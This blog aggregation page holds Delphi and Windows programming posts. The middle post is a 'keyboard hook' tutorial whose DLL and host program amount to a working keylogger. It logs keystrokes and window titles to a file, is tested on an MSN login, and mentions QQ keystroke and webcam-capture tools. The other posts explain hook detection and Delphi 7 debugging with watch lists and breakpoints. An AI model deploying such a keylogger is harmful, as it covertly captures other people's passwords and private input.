if( GetKernelMemory(HookInfo.pWin32Thread,(BYTE *)&w32thd , sizeof(w32thd)) )
{  //获取钩子函数所在模块的基址
if (!GetKernelMemory((PVOID)((ULONG)w32thd.ppi+0xA8+4*HookInfo.iMod),
(BYTE *)&dwModuleBase,   sizeof(dwModuleBase)))
{
continue;
}
TINFO tInfo;
//获取钩子所属进程ID和线程ID
if (!GetKernelMemory((PVOID)((ULONG)w32thd.pEThread+0x1ec),
(BYTE *)&tInfo,   sizeof(tInfo)))
{
continue;
}
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tInfo.dwProcessID);
if (hProcess == INVALID_HANDLE_VALUE)
{
continue;
}
//根据模块基址,获取钩子函数所属模块的名称
if (GetModuleFileNameEx(hProcess, (HMODULE)dwModuleBase, cModuleName, 256))
{
OutputDebugString(cModuleName);
OutputDebugString(“\r\n”);
}
}
}
}

利用上面的代码就可以找到所属病毒DLL的消息钩子句柄,然后调用UnhookWindowsHookEx函数卸载这个消息钩子就OK了。

键盘Hook【Delphi版】

mikel阅读(1139)

一.钩子的基本概念

a) Hook作用:监视windows消息,在“特定消息”没有到达窗口之前捕获它。

b)钩子分类:
线程专用钩子:只监视指定的线程
全局钩子:监视系统中的所有线程

如果Hook过程在应用程序中实现,若应用程序不是当前窗口时,该Hook就不起作用;

如果Hook在DLL中实现,程序在运行中动态调用它,它能实时对整个系统进行监控.

c)几种常用类型的钩子:


    1)键盘钩子可以监视各种键盘消息。

2)鼠标钩子可以监视各种鼠标消息。

3)外壳钩子可以监视各种Shell事件消息,启动和关闭应用程序等。

4)日志钩子可以记录从系统消息队列中取出的各种事件消息。

5)窗口过程钩子监视所有从系统消息队列发往目标窗口的消息。

d) 详细参考:

         理论分析:http://blog.csdn.net/yincheng01/article/details/6899305
常用方式:http://www.cnblogs.com/linyawen/archive/2011/03/25/1995624.html

二.键盘钩子的实际应用

     a)键盘钩子DLL源码

library KeyboardHook;

uses
SysUtils,
Windows,
Messages,
Classes;

{$R *.res}

var
hook: HHOOK; {钩子变量}
LastFocusWnd:Hwnd=0;
PrvChar:Char;
HookKey:String;

KeyList:Tstringlist;

const
KeyMask=$80000000;
{键盘钩子函数}
function KeyboardHookProc(iCode: Integer; wParam: WPARAM; lParam:LPARAM):LRESULT;stdcall;
var
ch:Char; //记录一个个按下的按键字符
vKey:integer; //表示按下了哪个键
FocusWnd:HWND; //当前活动窗口句柄
Title:array[0..255] of char; //窗口句柄的标题
str:array[0..12] of char; // 当8&lt;=vkey&lt;=46时,表示按下的键名,例如[退格]
PEvt:^EventMsg; //EventMsg的指针
iCapsLock,iNumLock,iShift:integer; //状态按键
bCapsLock,bNumLock,bShift:boolean; //是否按下状态按键
begin
if iCode begin
Result:=CallNextHookEx(hook,iCode,wParam,lParam);
Exit;
end;

if (iCode = HC_ACTION) then //设备动作
begin

PEvt := pointer(Dword(lparam)); //将lparam的指针传递给PEvt事件消息指针
FocusWnd:= GetActiveWindow; //获取活动窗体句柄
if (LastFocusWnd &lt;&gt; FocusWnd) then
begin
if (HookKey &lt;&gt; '') then
begin
KeyList.Add('键盘击打:'+HookKey);
HookKey:= '';
end;
GetWindowText(FocusWnd,Title,256);
LastFocusWnd:= FocusWnd;
KeyList.add(Format('激活窗口:%s',[Title]));
end;

if (PEvt.message = WM_KEYDOWN) then //如果事件消息为键下压操作
begin
vkey := LoByte(PEvt.paramL ); //取得16进制数最低位那个字节的内容
iShift:= GetKeyState(VK_SHIFT); //获取这三个键的状态
iCapsLock:= GetKeyState(VK_CAPITAL);
iNumLock:= GEtKeyState(VK_NUMLOCK);
bShift:= ((iShift and KeyMask) = KeyMask); //判断它们的状态
bCapsLock:=(iCapsLock = 1);
bNumLock:= (iNumLock = 1);
end;

if ((vKey &gt;= 48) and (vKey &lt;=57)) then // 0&lt;=char(vkey)&lt;=9 begin if (not bShift) then //如果没有按下Shift键 ch:= char (vkey) //数字字符 else begin case vkey of //否则为以下字符之一 48:ch:= ')'; 49:ch:= '!'; 50:ch:= '@'; 51:ch:= '#'; 52:ch:= '$'; 53:ch:= '%'; 54:ch:= '^'; 55:ch:= '&amp;'; 56:ch:= '*'; 57:ch:= '('; end; //end case end; //end else HookKey:= HookKey + ch; end; //end if ((vKey &gt;= 48) and (vKey &lt;=57)) if ((vKey &gt;=65) and (vKey &lt;= 90)) then // 'A'&lt;=char(vkey)&lt;='Z' begin if (not bCapsLock) then //如果没有按下CapsLock键 begin if (bShift) then //按下了Shift键 ch:= char(vkey) //大写 else ch:= char(vkey + 32); //小写 end else //按下了CapsLock键 begin if (bShift) then //按下了Shift键 ch:= char(vkey + 32) //小写 else ch:= char(vkey); //大写 end; HookKey:= HookKey + ch; //将按键添加到按键字符串 end; if ((vkey &gt;= 96) and (vkey &lt;= 105)) then //小键盘的0-9 if bNumLock then HookKey:= HookKey + char(vkey - 96 + 48); ch:= 'n'; if ((vkey &gt;= 105) and (vkey &lt;=111)) then //+-*/ begin case vkey of 106:ch:= '*'; 107:ch:= '+'; 109:ch:= '-'; 111:ch:= '/'; else ch:= 'n'; end; end; if ((vkey &gt;=186) and (vkey &lt;= 222)) then //特殊符号
begin
if (not bShift) then //没有按下Shift键
begin
case vkey of
186:ch:= ';';
187:ch:= '=';
189:ch:= ',';
190:ch:= '.';
191:ch:= '/';
192:ch:= '''' ;
219:ch:= '[';
220:ch:= '\';
221:ch:= ']';
222:ch:=char(27);
else
ch:= 'n';
end; //end case
end
else
begin
case vkey of
186:ch:= ':';
187:ch:= '+';
189:ch:= '&lt;'; 190:ch:= '&gt;';
191:ch:= '?';
192:ch:= '~';
219:ch:= '{';
220:ch:= '|';
221:ch:= '}';
222:ch:= '"';
else
ch:= 'n';
end; //end case
end; //end if else
end; //end if ((vkey &gt;=186) and (vkey &lt;= 222))
if ch &lt;&gt; 'n' then //剔除未规定字符
HookKey := HookKey + ch;
if ((vkey &gt;= 8) and (vkey &lt;=46)) then
begin
ch:= ' ';
case vkey of
8:str:= '[BACK]';
9:str:= '[TAB]';
13:str:= '[ENTER]';
32:str:= '[SPACE]';
35:str:= '[END]';
36:str:= '[HOME]';
37:str:= '[LF]';
38:str:= '[UF]';
39:str:= '[RF]';
40:str:= '[DF]';
45:str:= '[INSERT]';
46:str:= '[DELETE]';
else
ch:= 'n';
end;
if (ch &lt;&gt; 'n') then
begin
HookKey := HookKey + str;
end;
end;

// KeyList.Add('ABC');
end;//end iCode= HC_ACTION

result := CallNextHookEx(hook,iCode,wparam,lparam);
end;

{建立钩子}
function SetHook:Boolean;stdcall;
begin
if (hook = 0) then
begin
KeyList:=Tstringlist.Create;
hook := SetWindowsHookEx(WH_JOURNALRECORD,KeyboardHookProc,HInstance,0); //调用API HOOK
Result:=hook&lt;&gt;0
end
else
Result:=False;
end;

{释放钩子}
function DelHook:Boolean;stdcall;
begin
if (hook &lt;&gt; 0 ) then
begin
Result:=UnHookWindowsHookEx(hook); //卸载HOOK
hook:=0;
KeyList.Free;
end
else
Result:=False;
end;

procedure PrintHook;stdcall;
var
printStr:string;
txtFile:TextFile;
fileName:string;
begin
if KeyList &lt;&gt; nil then
begin
printStr:=keyList.Text;
KeyList.Text:='';
//将键盘输入内容进行打印
fileName:='E:\SourceCode\DelphiWorkspace\Demo\键盘Hook2\keyboardRecord.txt';

AssignFile(txtFile,fileName);
if not FileExists(fileName) then
begin
Rewrite(txtFile);
end
else
begin
Append(txtFile);
end;

Writeln(txtFile,printStr);
Closefile(txtFile);

end;
end;

{按DLL的要求输出函数}
exports
SetHook name 'SetHook',
DelHook name 'DelHook',
PrintHook name 'PrintHook';

//SetHook,DelHook,PrintHook;{如果不需要改名,可以直接这样exports}
begin
end.

b)应用程序源码

unit Main;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TFrmMain = class(TForm)
Button1: TButton;
Button2: TButton;
Button3: TButton;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
isHookInstalled:Boolean;
public
{ Public declarations }
end;

{DLL 中的函数声明}
function SetHook: Boolean; stdcall;
function DelHook: Boolean; stdcall;
procedure PrintHook;stdcall;

var
FrmMain: TFrmMain;

implementation

{$R *.dfm}
{DLL 中的函数实现, 也就是说明来自那里, 原来叫什么名}
function SetHook; external 'KeyboardHook.dll' name 'SetHook';
function DelHook; external 'KeyboardHook.dll' name 'DelHook';
procedure PrintHook; external 'KeyboardHook.dll' name 'PrintHook';

procedure TFrmMain.Button1Click(Sender: TObject);
begin
Self.Button1.Enabled:=False;
Self.Button2.Enabled:=True;
Self.Button3.Enabled:=True;

if SetHook then
begin
isHookInstalled:=True;
Self.Memo1.Lines.Add('键盘钩子已安装。。。');
end;
end;

procedure TFrmMain.Button2Click(Sender: TObject);
begin
PrintHook;
Self.Memo1.Lines.Add('已打印');
end;

procedure TFrmMain.Button3Click(Sender: TObject);
begin
if DelHook then
begin
isHookInstalled:=False;
Self.Memo1.Lines.Add('键盘钩子已撤销!!!');
Self.Memo1.Lines.Add(' ');
end;

Self.Button1.Enabled:=True;
Self.Button2.Enabled:=False;
Self.Button3.Enabled:=False;
end;

procedure TFrmMain.FormCreate(Sender: TObject);
begin
Self.Button1.Enabled:=True;
Self.Button2.Enabled:=False;
Self.Button3.Enabled:=False;
isHookInstalled:=False;

Self.Memo1.Color:=clBlack;
Self.Memo1.Font.Color:=clGreen;
end;

procedure TFrmMain.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if isHookInstalled then
DelHook;
end;

end.

  c)运行结果

        1)程序启动,安装键盘钩子

        2)通过登录MSN进行测试

        3)打印所有键盘操作至txt

三.其他

  1.QQ登录窗口防键盘钩子的详细分析
    http://wenku.baidu.com/view/05ecf86727d3240c8447ef9e.html
http://www.sadlycodes.com/?p=745

2.低级鼠标键盘钩子
    WH_KEYBOARD_LL
WH_MOUSE_LL
http://hi.baidu.com/32881/blog/item/b410c702ec2e9c1c4afb5111.html

3.几个小工具
a)QQ启动后,记录下部分键盘操作
b)指定时间范围内个人电脑被恶意启动,记录下部分屏幕操作,并通过摄像头进行拍照

[转载]Delphi应用程序的调试(三)监视变量 - 瓢虫Monster - 博客园

mikel阅读(1136)

来源: [转载]Delphi应用程序的调试(三)监视变量 – 瓢虫Monster – 博客园

监视变量(Watching Variables)

当程序停在一个断点处时,用户做些什么呢?通常用户在断点处停下来是要检查变量的值,某个变量的值是否与预料的取值相同?或者某个变量取什么值(事先并不知道这个变量的取值)。

Watch List窗口的作用是使用户能检查变量的值。编程人员常常忽视这个简单而又根本的特性,因为他们没有花时间来完整地学习调试器的使用。用户可添加任意多的变量到Watch List中。下图就是调试会话期间的Watch List窗口。

image

变量名和变量值都显示在Watch List中。

Tooltip表达式求值(Tooltip Expression Evaluation)

调 试器和Code Editor有一个很好的特性,它使检查变量值的工作变得更容易。这个特性就是Tooltip表达式求值器(expression evaluator),其缺省状态是打开,因此用户不需要做任何事情就能使用它。如果需要,也可以通过Editor Properties对话框的Code Insight页面来关闭它,如下图:

image

那么,什么是Tooltip表达式求值呢?它是这样工作的:当程序停在一个断点处,用户把编辑光标移到一个变量上,就会弹出一个提示窗口,其中显示该变量的当前值。这样就使快速检查变量的工作变得更容易,只需将光标移到变量上并稍等片刻。

Tooltip evaluator求值器对于不同的变量类型由不同的显示。对于常规数据成员(Integer、Char、Byte、String等等),显示变量的实际 值;对于动态创建的对象(例如一个类的实例),Tooltip evaluator显示记录的全部元素。如下图所示:

image

image

Note

有时候Tooltip evaluator好像工作不正常。例如,若将编辑光标移到一个作用域外的变量上时,就不会显示提示窗口,因为Tooltip evaluator 无任何信息可显示。被编辑器优化过的变量也可能不能显示正确值。

当光标位于with块中时,Tooltip evaluator也不工作。例如,看下面这段代码:

1
2
3
4
5
6
7
8
9
10
11
var
  pp: Point;
begin
  with  pp do
  begin
    x := 20;
    y := 40;
  end;
  Caption := IntToStr(pp.x);
end;

如果把光标放到变量x上,Tooltip evaluator不会显示x的值,因为x属于with语句(Point变量)。如果将光标移到变量Point上,调试器会显示Point的值(包括x字段)。如下图:

image

Tooltip 表达式求值器很有用的,别忘记使用它。

Watch List快捷菜单(The Watch List Context Menu)

正如前面讲到的每一个Delphi窗口一样,Watch List也有它自己的快捷菜单。如下描述:

image

Edit Watch——打开Watch Properties对话框修改监视项属性
Add Watch——打开Watch Properties对话框新监视项
Enable Watch——启用一个已经禁用的监视项
Disable Watch——禁用一个已启用的监视项
Delete Watch——删除一个监视项
Enable All Watches——启用所有已经禁用的监视项
Disable All Watches——禁用所有已经启用的监视项
Delete All Watches——删除所有监视项
Add Group——增加一个监视组
Delete Group——删除一个监视组
Move Watch to Group——移动监视项到组
Stay On Top——使Watch List窗口始终在最上层

Inspect——显示选中的监视项的有关信息
Break When Changed——当监视窗口中的变量改变时,调试器将终端。监视变量以红色显示,表示Break When Changed起作用。
Dockable——窗口是可泊位。

使用Watch Properties对话框(Using the Watch Properties Dialog Box)

image

当用户增加或编辑监视项时,要使用Watch Properties对话框。如上图显示的是正在编辑pp变量的Watch Properties对话框。

位于对话框顶部的【Expression字段】,是用户输入要编辑或增加到Watch List中的变量名的地方,这个字段是一个组合框,可以用来选取以前用过的监视项。

但用户要检查数组时,使用【Repeat count字段】,比如,有一个20个整数元素的数组,要检查数组的头10个整数,可在【Expression字段】中输入数组的第一个元素(例如 Array[0]),再在【Repeat count字段】中输入10。数组的头10个元素就会显示在Watch List中。如下图pp为有20个元素的整型数组:

image

Note

如果将数组名增加到Watch List中,则数组的全部元素都会显示在Watch List中。当要查看数组的部分元素时,使用【Repeat count字段】。

仅当检查浮点数时,采使用【Digits字段】;在此输入显示浮点数时要显示的有效位数,有效位后面的余数作四舍五入处理。【Enabled字段】确定监视项是否当前启用。

Watch Properties对话框上的其余选项都是显示选项。每一种数据类型都有一种缺省显示类型,当用户选中【Default】时,就使用缺省显示类型,Default查看选项的默认状态时“选中”的。选择其他的查看选项,就以其他方式查看数据。如下图:

image

要修改一个监视项,可在Watch List中点击该项,然后在右键快捷菜单中选择【Edit Watch…】菜单项,也可双击该监视项,快速打开Watch Properties对话框。

启用和禁用监视项(Enabling and Disabling Watch Items)

就像使用断点时一样,Watch List中每项都可被启用或禁用。当一个监视项被禁用时,它会变灰,并且它的值显示为<disabled>。如下图:

image

要禁用一个监视项,可点击Watch List中该项的名字,并从Watch List快捷菜单中选择【Disabled Watch】菜单项;要启用该监视项,就从快捷菜单中选【Enabled Watch】菜单项。

Note

用户可能希望禁用当前不使用但以后要使用的监视项。在调试过程中,Watch List中的许多有效监视项会减慢程序执行速度,因为每当一个代码行执行时,所有Watch List变量都要更新。

向Watch List中添加变量(Adding Variables to the Watch List)

可用多种方法往Watch List中添加监视项。最快速的方法是点击Code Editor中的变量名,然后从Code Editor的快捷菜单中选择【Debug | Add Watch at Cursor】或按【Ctrl + F5】键,该监视项就会被立即增加到Watch List中。如果需要,用户可以编辑该监视项,修改其属性。

image

要增加一个变量到Watch List中而又不想在源文件中找出该变量时,可从主菜单选择【Run | Add Watch】菜单项;当Watch Properties对话框弹出后,输入要增加到Watch List中的变量名并点击OK。

image

Note

虽然可将类实例变量添加到Watch List中,但显示的值可能无用。如下图:

image

应该使用Debug Inspector查看类的所有数据成员。

使用Watch List(Using the Watch List)

当碰到断点时,Watch List显示其中所有变量的当前值,如果当前没有打开Watch List窗口,可从主菜单【View | Debug Window | Watches】菜单项打开Watch List窗口。

image

Note

将Watch List窗口泊位到Code Editor窗口的底部,这样,在调试代码时,总可以看到它。

在某些情况下,Watch List中变量的后面会显示一条消息,而不是该变量的值。例如,如果一个变量不在作用域之外,或未找到,Watch List在该变量名后面显示“Undeclared identifier: ‘X’”;如果程序没有运行或不停在断点处,Watch List在所有的监视项后都显示[process not accessible]。禁用监视项后显示<disabled>。根据应用程序的当前状态或某个变量的当前状态,还可能显示其他消息。

就像上一章提到过的,用户在Watch List中偶尔会看到这样的显示:variable ‘X’ inaccessible here due to optimization,这是带优化功能的编辑器的一个小缺点。如果要检查易被优化的变量,则必须关闭编译器的优化功能,即把Project Options对话框中的Compiler页面上的Optimization选项关闭。

image

未被初始化的变量会显示随机值,直到它被初始化。

Note

Watch List可用作一个简单的十进制/十六进制转换器。要把一个十六进制数转换成十进制数,可从主菜单选择【Run | Add Watch】,在Expression字段输入十六进制数后点击OK,输入的十六进制数和与之等价的十进制数就会显示在Watch List中;要将一个十进制数转换成十六进制数,除点击Hexadecimal单选钮将显示类型改为十六进制外,其余操作都与前面相同。由于 Expression接受数学表达式,因此还可以把Watch List当做一个十六进制计算器,甚至可以在同一个表达式中同时使用十六进制和十进制值。如下图:

image

这样使用Watch List只有一个缺点,应用程序必须停在一个断点处

在调试应用程序的过程中,Watch List是一个简单而又关键的工作。为了说明Watch List的使用,接下来做一个练习:

1)创建一个应用程序,在其主窗体上放置一个按钮。将按钮的Name属性设置为WatchBtn,Caption属性改为Watch Test。将主窗体Name属性改为DebugMain,Caption属性改为Debug Watch List Test。

2)双击按钮,会在Code Editor中显示按钮的OnClick处理事件,按下面的样子修改其OnClick处理程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
procedure TDebugMain.WatchBtnClick(Sender: TObject);
var
  S: string;
  X, Y: Integer;
begin
  X := Width;
  S := IntToStr(X);
  Y := Height;
  X := X * Y;
  S := IntToStr(X);
  X := X div Y;
  S := IntToStr(X);
  Width := X;
  Height := Y;
end;

3)保存该工程,将单元命名为DbgMain,工程命名为DebugTest。

4)在OnClick处理程序的begin语句之后的第一行上设置一个断点,运行该应用程序。

image

5)点击Watch Test按钮,调试器会停止在断点处。当调试器停在断点处时,IDE和Code Editor会显示在最顶层。

6)把变量S,X和Y增加到Watch List中(由于代码优化,变量X和变量Y在开始时是不可访问的),如下图:

image

7)安排好Watch List和Code Editor的位置,以便用户能同时看到两个窗口(不妨把Watch List泊位到Code Editor的底部)。

8)将输入焦点切换到Code Editor,并按F8执行下一行代码,执行完毕后,执行点移到下一行。此时Watch List中变量X显示一个值。如下图:

image

9)按F8继续一行一行执行程序,监视Watch List中变量的结果。

10)当执行点到达OnClick处理程序的最后一行时,点击工具栏中的Run按钮继续运行应用程序。

用户可反复点击Watch Test按钮来体会Watch List是如何工作的,每次还可试验不同监视设置的效果。

Note

在上面的例子中,OnClick处理程序先获取主窗体的Width属性和Height属性的值,接着执行一些计算,然后再将Width和Height设置成开始时的值。这段程序执行完后,什么都未发生改变。在该方法末尾给Width和Height属性赋值是有原因的。

如果在代码中不真正使用变量X和Y的话,用户就不能检查这两个变量,因为编译器在优化代码时会发现这个两个变量未被使用,从而将它们删除。在方法的末尾使用这两个变量就是为了避免编译器把它们优化掉。

前面提到过这个问题,希望大家对带优化功能的编译器的工作过程有个基本了解。这样,当开始调试应用程序,碰到诸如“Variable ‘Y’ inaccessible here due to optimization”一类的消息时就不会不知所措。

以上代码均在Delphi7中测试通过,实例代码下载:WatchList测试程序.rar

Delphi应用程序的调试(二)使用断点

mikel阅读(1009)

使用断点(Using Breakpoints)

当用户从Delphi IDE 运行程序时,程序全速运行,只会在设置了断点的地方停住。

New Term

断点(breakpoint)是一种标记,用以通知编译器,当程序运行到断点所在位置时暂停程序的执行。

设置和清除断点(Setting and Clearing Breakpoints)

断点的设置可通过点击Code Editor的沟槽来进行;要在代码的某一行暂停程序执行,就在沟槽中与该行相对应的位置上点击鼠标,该行就被设置上一个断点;此时,沟槽中出现一个断点图标(一个红色圆圈),并且断点所在行以红色加亮显示,如下图:

image

点击沟槽中的断点图标,与之对应的断点就会被删除。也可以按【F5】键或从Code Editor的快捷菜单中选择【Toggle Breakpoint】菜单项来触发或取消断点。

Note

只允许在能生成实际代码的行上设置断点。在空白行、注释或声明行上设置的断点时无效断点,当用户在这一类的行上设置断点,调试器会提出警告。试图在下列行上设置断点,都会产生一个无效断点警告:

0271

可在函数或过程的end语句行上设置断点。

如果在无效行上设置断点,Code Editor会以绿色显示断点,如上图所示。

在调试器下运行的程序,在不碰到断点时,与通常的程序运行完全一样;当碰到断点时,IDE会被提到最顶层,并且源代码中的断点所在行被加亮显示。如果使用的是缺省颜色格式,则程序停止处的行以红色加亮显示,如下图,红色断点旁有一个绿色小箭头:

image

New Term

执行点(execution point)是指源代码中下一步要执行的代码行。

当用户一步一步调试程序时,执行点以蓝色加亮显示,并且在Code Editor沟槽中显示一个绿色箭头符号。提醒:以蓝色加亮显示的行还未被执行;当恢复程序执行时才执行它。如下图:

image

Note

当执行点所在行以蓝色加亮显示,除非该行包含一个断点(此时,该行以红色加亮显示)。沟槽中的绿色箭头是当前执行点的最精确指示,因为它不受加亮显示颜色的影响。

当程序在断点处暂停执行时,用户可查看变量、查看调用栈、浏览符号或在代码中步进。检查完变量和对象后,可点击Run按钮恢复程序的执行,这时应用程序就会再次正常运行,直至碰到下一个断点。

Note

当程序在断点处暂停执行后,用户一般都要检测代码编写错误。如果用户在调试会话中间修改了源代码,然后按Run按钮恢复程序执行,IDE就会显示一个消息框提示用户是否要重建源代码;如果用户选Yes,当前过程就会被终止,源代码被重新编译,并重新启动该程序。

这样操作就有一个问题,程序无法正常关闭,当前正使用的资源未被释放。这样极可能导致内存泄露(memory leaks)。建议大家正常终止程序,然后再重新编译应用程序。

断点列表窗口(The Breakpoint List Window)

Delphi IDE记载用户设置的断点,可通过Breakpoint List(断点列表)窗口查看这些断点。从主菜单上选择【View | Debug Windows | Breakpoint】菜单项来查看断点列表,如下图:

image

Note

Pass栏不是显示某个断点被碰上的次数,它只是显示用户为断点设置的通过条件。

1、快捷菜单(Breakpoint List Context Menus)

image

  • Enabled——允许使用或禁止使用某个断点。如果一个断点被禁止使用,它在Breakpoint List窗口中的符号就会变灰;它在源窗口中的断点符号也会变灰;并且该断点所在行以绿色加亮显示,表示该断点被禁用。如下图:
    image
  • Delete——删除断点。
  • View Source——滚动Code Editor中的源文件来显示包含断点的源代码行。
  • Edit Source—— 将编辑光标放置到源代码中包含断点的行上。并将输入焦点切换到Code Editor上。
  • Properties—— 显示“Source Breakpoint Properties”断点属性对话框。
  • Breakpoints—— 显示断点有关的子菜单,如下图:
    image
  • Dockable—— 确定“Breakpoint List”窗口是否可泊位。

Note

快捷菜单中的【Add】菜单项作用不大,因为,在Code Editor中设置断点要比通过Breakpoint List窗口中的Add命令来添加断点容易的多。

2、断点的启用和禁用(Enabling and Disabling Breakpoints)

用户在任何时候都可以禁止和启用断点。如果用户想要正常运行程序,就可将程序中的断点暂时禁用;以后需要时可启用该断点而不必重新创建它。调试器忽略被禁用的断点。

要启用或禁用一个断点。在“Breakpoint List”窗口中用鼠标右键点击该断点,并从快捷菜单中选择【Enabled】项。

3、修改断点(Modifying Breakpoints)

要修改断点,可从“Breakpoint List”窗口中选择【Properties】菜单项,此时会显示“Source Breakpoint Properties”对话框,如下图:

image

修改断点的主要原因是增加断点条件,在之后的讲解中将要重点介绍。

要删除一个断点,可在“Breakpoint List”中选择该断点,并按键盘上的【Delete】键盘。要删除所有断点,可单击鼠标右键,然后选择【Delete All】。

image

下面将要讲解断点的两种类型:简单断点和条件断点。

简单断点(Simple Breakpoints)

简单断点是指这样一种断点,程序一执行到断点处就会被挂起。按缺省方式设置的断点就是简单断点。简单断点不需要多作解释。一碰到简单断点,程序执行就会暂停,此时调试器等待用户的输入。大多数时候都是使用简单断点;当用户需要更多地控制调试过程时,才使用条件断点。

条件断点(Conditional Breakpoints)

若碰到的断点是条件断点,则仅当预定义的条件满足时,才会暂停程序执行。

要 创建一个条件断点,可先在Code Editor中设置该断点;然后从主菜单选择【View | Debug Windows | Breakpoint】菜单项调出“Breakpoint List”窗口,用鼠标右键点击要设置的断点并选择【Properties】菜单项,显示出“Source Breakpoint Properties”对话框,在此对话框中设置断点的条件。

条件断点有两种类型:

  • 第一种类型是条件表达式断点
    在“Source breakpoint Properties”对话框中的“Condition”字段中输入条件表达式。如下图:
    image
    当程序运行时,碰到条件表达式断点就会先求条件表达式的值,若条件表达式的值为True,则暂停程序执行;若条件表达式的值为False时,则该断点被忽略。
    例如:设置的条件表达式为:X > 20;当程序运行到该断点时,若X大于20则暂停程序的执行;若X不大于20,则程序继续往下执行。
  • 第二种类型是通过计数(pass count)断点
    对 于一个通过计数断点,只要当碰上该断点的次数达到指定次数时,程序才会在该断点处暂停执行。要指定一个通过计数断点,可在“Source Breakpoint Properties”对话框中编辑该断点并为Pass Count字段指定一个值。若将一个断点的通过计数设置成3,则程序会在第三次碰到该断点时暂停程序执行。

    Note

    通过计数是从1开始,不是从0开始。就像前面所指出的,通过计数为3,意味着当程序第三次碰上某个断点时,该断点才有效。
    当程序需要在程序执行通过某个断点若干次后再暂停程序执行来检查变量、步进调试代码或执行其他调试任务时,可使用通过计数断点。

    Note

    条件断点会放慢程序的执行速度,因为每当碰上条件断点时,都要对条件求值。在调试期间,如果程序运行缓慢,可检查一下断点列表,看是否存在不必要的条件断点。

    Note

    用户可灵活运用条件断点来减慢程序执行速度。如果用户希望某段程序低速运行以便查看,可在该代码段中设置一个或多个条件断点。将断点的条件设置成永远不能成立的条件,则程序执行会放慢速度,但不会停住。

运行至光标处命令(The Run to Cursor Command)

还有一个调试命令值得一提,就是“Run to Cursor”命令,可从主菜单【Run | Run to Cursor】选择此命令。当用“Run to Cursor”命令运行程序时,程序会在包含编辑光标的源代码行上停止运行,就好像该代码行上设置有断点一样。如下图:

image

Run to Cursor”可用作临时断点。当用户要马上检查某行源代码时,不必在该行上设置断点;只需将光标移到这一行上,然后选“Run to Cursor”(或按F4键),调试器会在程序运行至该行时暂停程序执行。就好像该行上设置了断点一样。使用“Run to Cursor”的好处是:当完成一段代码的调试后,不必清除断点。

以上测试均在Delphi7下通过。